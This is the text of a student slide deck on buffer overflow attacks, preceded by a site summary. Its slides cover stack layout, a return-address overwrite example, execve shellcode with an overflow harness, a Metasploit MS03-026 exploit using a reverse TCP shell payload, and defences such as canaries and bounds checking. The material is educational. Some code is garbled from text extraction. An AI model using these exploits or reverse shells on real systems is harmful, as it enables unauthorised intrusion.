This document discusses buffer overflow attacks. It begins with an introduction that defines a buffer overflow and examples like the Morris worm. It then explains how buffer overflows work by corrupting the stack and overwriting return addresses. Methods for implementing buffer overflows using Metasploit and injecting shellcode are provided. Countermeasures like stack canaries and bounds checking are described. The document concludes that while defenses have improved, legacy systems remain vulnerable and buffer overflows remain a problem.

1. BUFFER OVERFLOW ATTACKS
Submitted By : Kapil Nagrale
M.tech FY Software Engineering
Roll No : 132190015

2. OUTLINE







INTRODUCTION
STACK BASIS
HOW IT WORKS ?
IMPLEMENTING WITH METASPLOIT
COUNTERMEASURES
CONCLUSION
REFERENCES

3. INTRODUCTION

What is buffer overflow?
More data is put into a holding area than it can
handle.
Cause: Lack of bound checking (eg: standard C
library )

An Intrusion or a Successful Attack aims to change
the flow of control ( using buffer overflow), letting
the attacker execute arbitrary code

4. INTRODUCTION

Morris worm (November 1988)
Used finger Daemon to overflow buffer

Code Red worm (July 2001)

Slammer Worm (Jan 2003)
Exploits the vulnerability in Microsoft SQL Server
2000

5. STACK BASICS
Lower Memory Addresses
Local Variables
Old Base Pointer
Return Address
Higher Memory Address
Arguments

6. HOW IT WORKS?
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
void function( int a, int b, int c)
{
char buffer1[5];
char buffer2[10];
int *ret;
printf( "%dn",x);
}
ret = buffer1 + 12;
(*ret) += 8;
}
This function jumps over the x=1 assignment directly to the printf()
and prints the value as 0. The offsets (12, 8 used above ) are
machine-dependant.

7. CONTINUED
What do you do after overflowing the buffer?
 Inject some code into the victim. Make the function
return to this code
 Spawning a shell

void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

Dump the executable of the above execve()
command and store it in a buffer

8. char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
// Fill the large_string Array with the address of the buffer
// (shell code)
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
// Copy shell code to the beginning of large_string
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
// Copy large_string onto buffer. This overflows the return address
// and execs a shell
strcpy(buffer,large_string);
}

9. In a real security attack, malicious code usually comes form
 environment variable
 user input
 network connection
List of unsafe functions in the standard C library
 strcpy()
 strcat()
 getwd()
 gets()
 fscanf()
 scanf()
 sprintf()

10. IMPLEMENTING WITH METASPLOIT

What is Metasploit?
The Metasploit Project is a computer security project that
provides information about security vulnerabilities and
aids in penetration testing .

11. TERMINOLOGIES

Exploit : Exploit is the means by which an attacker takes
advantage of a flaw or vulnerability in a network, application, or
service. The hacker uses this flaw or vulnerability in a way that
the developer or engineer never intended, to achieve a desired
outcome (e.g. root access).

Payload : A payload is the program or code that is delivered to
the victim system.

Session : Connection from successful exploit

LHOST : LOCAL HOST

RHOST : REMOTE HOST

12. IMPLEMENTATION









msf > use exploit/windows/dcerpc/ms03_026_dcom
msf > show options
msf > set RHOST 10.0.0.3
msf >show payloads
msf >set PAYLOAD generic/shell_reverse_tcp
msf >set LHOST 10.0.0.6
msf > exploit
sessions –i 1
It will give a comman shell of victim’s computer on
msfconsole. If the vulnerable program has root privileges
one can have complete access to system.

13. COUNTERMEASURES

Array Bounds Checking
While injecting code is optional for a buffer overflow
attack, the corruption of control flow is essential.
Thus unlike non-executable buffers, array bounds
checking completely stops buffer overflow vulnerabilities
and attacks. If arrays cannot be overflowed at all,
then array overflows cannot be used to corrupt adjacent
program state.

14. STACK GUARD METHOD
DETECTING RETURN ADDRESS
CHANGE: CANARY
Place a Canary word before the return
Address
When the function returns, it first checks
to see that the “CANARY WORD” is
intact before jumping to the address
pointed to by the return address

15. STACK SHIELD

Global Ret Stack
Whenever a function call is made, the return address
being pushed onto the normal stack is at the same time
copied into the Global Ret Stack array.
The Global Ret Stack has by default 256 entries, which
limits the nesting depth to 256 function calls

RET Range Check
It uses a global variable to store the return address of the
current function.

Protecting Function Pointers
Add checking code before all function calls that make use
of function pointers to make sure that the function pointer
does not point to parts of memory other than text segment.

16. CONCLUSION

The best available tool is effective against only
50% of the attacks. Often these tools incur
undesirable performance overheads.

Even if we start writing the best of code from this
point of time, there is still millions of code lines of
“Legacy Code” out there which is vulnerable.

StackGuard is a systematic compiler tool that
prevents a broad class of buffer overflow security
attacks from succeeding.

17. REFERENCES

Conference on Software Security : Aleph One, Smashing the
Stack for Fun and Profit. Originally published in Phrack 4914.1996

IEEE Reference : Buffer Overflows: Attacks and Defenses for
the Vulnerability of the Decade*

The 7th International Conference on Computer Science &
Education (ICCSE 2012)The Principle and Prevention of
Windows Buffer Overflow

Pincus, Jonathan,”Beyond Stack Smashing: Recent Advances
in Exploiting Buffer Overruns”, IEEE Security&Privacy

18. Q&A